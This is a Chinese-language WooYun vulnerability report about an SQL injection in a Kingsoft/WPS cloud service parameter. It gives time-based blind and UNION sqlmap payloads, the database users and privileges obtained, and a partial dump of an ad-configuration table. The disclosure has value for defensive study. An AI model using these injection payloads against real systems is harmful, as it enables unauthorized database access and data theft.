当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0191362

漏洞标题:金山云服务一处注入(后台可是GO语言写的哦)

相关厂商:金山软件集团

漏洞作者: sauce

提交时间:2016-04-01 13:16

修复时间:2016-05-16 13:40

公开时间:2016-05-16 13:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-01: 细节已通知厂商并且等待厂商处理中
2016-04-01: 厂商已经确认,细节仅向厂商公开
2016-04-11: 细节向核心白帽子及相关领域专家公开
2016-04-21: 细节向普通白帽子公开
2016-05-01: 细节向实习白帽子公开
2016-05-16: 细节向公众公开

简要描述:

rt
高权限数据库用户 已入后台
beego 1.6.0 (beego framework)
golang version: go1.4.2
毕竟不是世界最好的语言 没法写shell了

详细说明:

---
Parameter: version (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: version=9.6.1') AND (SELECT * FROM (SELECT(SLEEP(5)))AlBP) AND ('jmTj'='jmTj&firstchannel=cn00571&channel=cn00577&deviceid=338e401cb9136d68ce6d9dedfe671f7a&package=cn.wps.moffice_eng&lang=zh-CN&devicetype=&beta=false&sdkversion=22
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: version=9.6.1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a766b71,0x55556f4e4f504d7a59564548636c684b524d6853525146725855576c516a645473634e664d635852,0x717a707171),NULL-- -&firstchannel=cn00571&channel=cn00577&deviceid=338e401cb9136d68ce6d9dedfe671f7a&package=cn.wps.moffice_eng&lang=zh-CN&devicetype=&beta=false&sdkversion=22
---
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
banner: '5.6.21-log'
current user: 'root@%'
current database: 'info_stream'
hostname: 'ip-10-18-0-4'


QQ拼音截图未命名.png


QQ拼音截图未命名.png


可修改推送信息

漏洞证明:

什么权限都有 看吧。。

database management system users [2]:
[*] 'rdsadmin'@'localhost'
[*] 'root'@'%'
database management system users privileges:
[*] 'rdsadmin'@'localhost' (administrator) [28]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TABLESPACE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
[*] 'root'@'%' [24]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: TRIGGER
privilege: UPDATE
available databases [8]:
[*] discover
[*] home_info_stream
[*] info_stream
[*] information_schema
[*] innodb
[*] mysql
[*] performance_schema
[*] tmp


<code>
Database: info_stream
Table: card
[88 entries]
+-----+-------------+----------------------+----------------------------------------+-------+-------+--------+---------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------+------------------+------------+------------------+--------------+
| id | lang | type | name | crowd | param | weight | labels | append | channel | version | effecttime | label_type | exceedtime | subscription |
+-----+-------------+----------------------+----------------------------------------+-------+-------+--------+---------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------+------------------+------------+------------------+--------------+
| 14 | zh-cn | wpscommunity | WPS社区 | NULL | off | 8 | NULL | title_1:搬砖一年无人懂?雷军教你如何“发布”自己\\u0026neturl_1:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=5005\\u0026tid_1:5005\\u0026tag_1:推荐\\u0026title_2:五种常用结构帮你写好个人总结\\u0026neturl_2:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=4392\\u0026tid_2:4392\\u0026title_3:聊一聊那些渐渐被人忽略的小年习俗\\u0026neturl_3:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=5128\\u0026tid_3:5128\\u0026moreurl:http://bbs.mo.wps.cn/forum.php?mod=forumdisplay%26fid=39\\u0026buttoncolor:#FF52A0F8%26#FF4587D2 | all | all | 2016-01-20 00:00 | NULL | 2016-01-31 23:59 | NULL |
| 16 | zh-cn | apprecommendationall | 应用推荐(正式) | NULL | off | 22 | NULL | imgmd5_1:c41130c5f1b0b0ff34c04d5999d1d208\\u0026imgurl_1:http://dl.mo.cache.wps.cn/mobile/android/splash/Card-WPSMail.png\\u0026appname_1:WPS邮件\\u0026setupcounts_1:1000万人安装\\u0026downloadurl_1:http://kad.www.wps.cn/wps/download/wpsmail/WpsMail_rec009.apk\\u0026imgmd5_2:15739f9337b02b6010277a624bb44859\\u0026imgurl_2:http://dl.mo.cache.wps.cn/mobile/android/splash/Card-iCiba.png\\u0026appname_2:金山词霸\\u0026setupcounts_2:500万人安装\\u0026downloadurl_2:http://download.iciba.com/android/powerword/PowerWordrec004.apk\\u0026imgmd5_3:efe7f5f1f308c76004ec6b433dae6e73\\u0026imgurl_3:http://dl.mo.cache.wps.cn/mobile/android/splash/Card-Qingxing.png\\u0026appname_3:轻醒\\u0026setupcounts_3:300万人安装\\u0026downloadurl_3:http://lighting.kssws.ks-cdn.com/apk/ToDo_d001_2.2.1__8c8d407.apk\\u0026buttoncolor:#FFEF416E%26#FFCA365D | dev,cn00999,cninner001,en00000,cn00000 | all | 2015-10-15 14:50 | NULL | 2016-12-31 23:59 | NULL |
| 31 | zh-cn | hotnews | 标题你想要起什么名字都可以的都可以的都可以的都可以的都可以的都可以的都可以的 | NULL | on | 1 | NULL | newstype:yidian\\u0026newscounts:5\\u0026channel_id:1\\u0026crowd:0,10 | cn01111,cn00999 | all | 2016-01-21 00:00 | NULL | 2016-03-26 19:48 | NULL |
| 33 | zh-cn | function | 发送到桌面 | 0,10 | on | 6 | <blank> | imgurl:http://dl.mo.cache.wps.cn/mobile/android/recommended-tech/4-1.jpg\\u0026description:阅读完成!发送到桌面,下次打开更方便。\\u0026imgurl_done:http://dl.mo.cache.wps.cn/mobile/android/recommended-tech/success-sendtodesk1.jpg\\u0026button_name:发送到桌面\\u0026action:desktop\\u0026buttoncolor:#FF52A0F8%26#FF4587D2\\u0026crowd:0,10 | all | all | 2016-01-22 00:00 | none | 2016-02-28 23:59 | 0 |
| 34 | zh-cn | function | 文档漫游 | 0,10 | on | 5 | <blank> | imgurl:http://dl.mo.cache.wps.cn/mobile/android/recommended-tech/2.jpg\\u0026description:开启文档漫游,换个设备接着写。\\u0026imgurl_done:http://dl.mo.cache.wps.cn/mobile/android/recommended-tech/sucess-roaming.jpg\\u0026button_name:开启文档漫游\\u0026action:roaming\\u0026buttoncolor:#FF52A0F8%26#FF4587D2\\u0026crowd:0,10 | all | all | 2016-01-22 00:00 | none | 2016-02-28 23:59 | 0 |
| 35 | zh-cn | dailysentence | 每日一句 | NULL | off | 8 | NULL | sentencetype:词霸\\u0026wpscn:变老是注定的,而成长却是可以选择的。\\u0026extradescription:(Chili Davis)\\u0026wpsen:Growing old is mandatory; growing up is optional. | all | all | 2016-01-22 00:00 | NULL | 2016-02-29 23:59 | NULL |
| 37 | zh-cn | wpscommunity | WPS社区测试卡 | NULL | off | 14 | NULL | title_1:只干不说傻把式,职场牛人都是这么写年终总结的\\u0026neturl_1:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=2033\\u0026tid_1:2033\\u0026tag_1:爆料\\u0026title_2:再见,我明天不能玩wps了,可能要考完试 \\u0026neturl_2:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=4361\\u0026tid_2:4361\\u0026tag_2:原创\\u0026title_3:WPS CEO葛珂获北京最具影响力十大企业家\\u0026neturl_3:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=2928\\u0026tid_3:2928\\u0026tag_3:推荐\\u0026moreurl:http://bbs.mo.wps.cn/forum.php?mod=forumdisplay%26fid=39\\u0026buttoncolor:#FF52A0F8%26#FF4587D2 | dev,cn00999,cninner001,en00000,cn00000 | all | 2015-10-15 14:50 | NULL | 2016-12-31 23:59 | NULL |
| 38 | zh-cn | thirdad | 猎豹1 | 0,10 | on | 1 | <blank> | ad_type:shiqu | cninner001,cn00999,dev | all | 2016-01-20 11:55 | none | 2016-04-08 19:57 | 0 |
| 39 | zh-cn | bigpicad | 帕尼尼热香出炉 | 0,10 | on | 2 | <blank> | ad_title:帕尼尼热香出炉\\u0026imgmd5:93a88a014b5bdd1e8d657ecaee2f9442\\u0026imgurl:http://dl.mo.cache.wps.cn/mobile/android/bottom_ad/ad4.png\\u0026description:肯德基帕尼尼特惠卷来啦!狂点图片,飞迸去领取吧!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\\u0026jumptype:webview\\u0026neturl:https://www.4008823823.com.cn/kfcios/Html/Panini.html | cninner001,cn00999,dev,en00000,cn00000,cn01111 | all | 2015-10-20 15:25 | none | 2016-04-06 11:30 | 0 |
| 40 | zh-cn | smallpicad | 家具 | 0,10 | on | 2 | <blank> | ad_title:博洛尼全部定制,国际大事免费测量,1500套案例任选,全屋空间量身定制,优惠价格,有买有送\\u0026description:卖疯了,全屋家具只售9万卖疯了,全屋家具只售9万卖疯了,全屋家具只售9万卖疯了,全屋家具只售9万卖疯了,全屋家具只售9万卖疯了,全屋家具只售9万卖疯了,全屋家具只售9万卖疯了,全屋家具只售9万卖疯了,全屋家具只售9万卖疯了,全屋家具只售9万卖疯了,全屋家具只售9万\\u0026imgmd5:dcf80db6f6b4f29f71180fd0e47cb54f\\u0026imgurl:http://dl.mo.cache.wps.cn/mobile/android/bottom_ad/ad5.png\\u0026jumptype:webview\\u0026neturl:http://www.meilele.com/jiaju/#se=us!X133d!X!Q9BFE5B89CE4B!H-!QEB6E5A5B7E58!H3!XJ-!QEB6E5A5B7E58D91E7B!H!X!QEB6E5A5B7E58D91E7BD80E59!H | cninner001,cn00999,dev,en00000,cn00000,cn01111 | all | 2015-10-20 15:25 | none | 2016-04-13 11:55 | 0 |
| 41 | zh-cn | wpscollege | WPS学院 | NULL | off | 3 | NULL | title:你怎么有这些特权?我也要成为会员!\\u0026imgmd5:be5641efef0dab5edfb0156079e50d43\\u0026imgurl:http://dl.mo.cache.wps.cn/mobile/android/bottomad/vip.jpg\\u0026neturl:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=9067\\u0026moreurl:http://bbs.mo.wps.cn/forum.php?mod=forumdisplay%26fid=38\\u0026tid:9067\\u0026tempneturl:http://dl.mo.cache.wps.cn/mobile/android/academy1/9067/index.html\\u0026crowd:0,10 | all | all | 2016-03-20 00:00 | NULL | 2016-03-22 10:59 | NULL |
| 42 | zh-cn | wpsreadbook | 好书推荐 | NULL | on | 2 | NULL | bigpic:http://dl.mo.cache.wps.cn/mobile/android/read/bigpic.jpg\\u0026smpic_1:http://dl.mo.cache.wps.cn/mobile/android/read/3.jpg\\u0026smtitle_1:高位过招\\u0026smscrip_1:有人说官场中人有两门绝活,一是变脸,二是换气。变脸就是你的脸要会七七四十九种表情,而且根据不同场合不同对象要在瞬间将脸上表情调整过来。不但准确而且一定要生动,要有质感。换气就是你说话的态度,口气的软硬,模棱两可含混不清还是干脆直接,是一句话直捣根本还是一个字一个字往外吐...\\u0026smpic_2:http://dl.mo.cache.wps.cn/mobile/android/read/2.jpg\\u0026smtitle_2:盗墓笔记\\u0026smscrip_2:50年前由长沙土夫子(盗墓贼)出土的战国帛书,记载了一个奇特战国古墓的位置,50年后,其中一个土夫子的孙子在他的笔记中发现这个秘密,纠集了一批经验丰富的盗墓贼前去寻宝,谁也没有想到,这个古墓竟然有着这么多诡异的事情\\u0026smpic_3:http://dl.mo.cache.wps.cn/mobile/android/read/1.jpg\\u0026smtitle_3:芈月传\\u0026smscrip_3:历史上的芈月,是秦始皇的太祖母、秦昭襄王之母、秦惠文王之妻,以一介女流之身把持朝政四十一载;她风流成性、口无遮拦,搅弄宫廷血雨腥风,却又特立独行、工于心计,为秦统一天下打下坚实基础!\\u0026smneturl_1:http://wap.cmread.com/r/397145249/397145358.htm?fr=123%26vt=3%26readmode=2%26cm=M3940015\\u0026smneturl_2:http://wap.cmread.com/r/346865084/346865086.htm?fr=123%26vt=3%26readmode=2%26cm=M3940015\\u0026smneturl_3:http://wap.cmread.com/r/409858548/409858550.htm?fr=123%26vt=3%26readmode=2%26cm=M3940015\\u0026bpneturl:http://wap.cmread.com/r/346827111/346827113.htm?fr=123%26vt=3%26readmode=2%26cm=M3940015\\u0026moreneturl:http://wapjs.kanshu.com/webjs/index\\u0026bptitle:鬼吹灯\\u0026authortext1:许开帧\\u0026authortext2:南派三叔\\u0026authortext3:京城说书匠\\u0026crowd:14,20,40 | cn01111,cn00999 | all | 2016-01-22 00:00 | NULL | 2016-03-29 21:46 | NULL |
| 43 | zh-cn | function | 扫一扫 | NULL | on | 7 | NULL | imgurl:http://dl.mo.cache.wps.cn/mobile/android/recommended-tech/1.jpg\\u0026imgmd5:d82ae1a98416c61e5bde90740b85e9c6\\u0026description:扫描二维码,轻松投影文档到电视。\\u0026button_name:立即体验\\u0026action:meeting\\u0026buttoncolor:#FF52A0F8%26#FF4587D2\\u0026crowd:0,10 | all | all | 2016-01-22 00:00 | NULL | 2016-02-28 23:59 | NULL |
| 47 | zh-cn | function | 夜间模式 | NULL | off | 17 | NULL | imgurl:http://dl.mo.cache.wps.cn/mobile/android/recommended-tech/3.jpg\\u0026description:【夜间模式】抵挡刺眼背光,保护眼睛不受伤害。\\u0026button_name:立即体验\\u0026action:夜间模式 | cninner001,cn00999,dev,en00000,cn00000 | all | 2015-12-30 00:00 | NULL | 2016-12-30 00:00 | NULL |
| 50 | zh-cn | share | 分享卡 | all | on | 1 | <blank> | crowd:all | all | all | 2015-12-28 00:00 | none | 2016-12-30 23:59 | 0 |
| 51 | zh-cn | infinite | 无限卡

修复方案:

版权声明:转载请注明来源 sauce@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-04-01 13:39

厂商回复:

感谢提交,马上跟进处理

最新状态:

暂无


漏洞评价:

评价

  1. 2016-04-06 20:12 | 邪少 ( 实习白帽子 | Rank:98 漏洞数:17 | 百里长苏)

    毕竟不是世界最好的语言 没法写shell了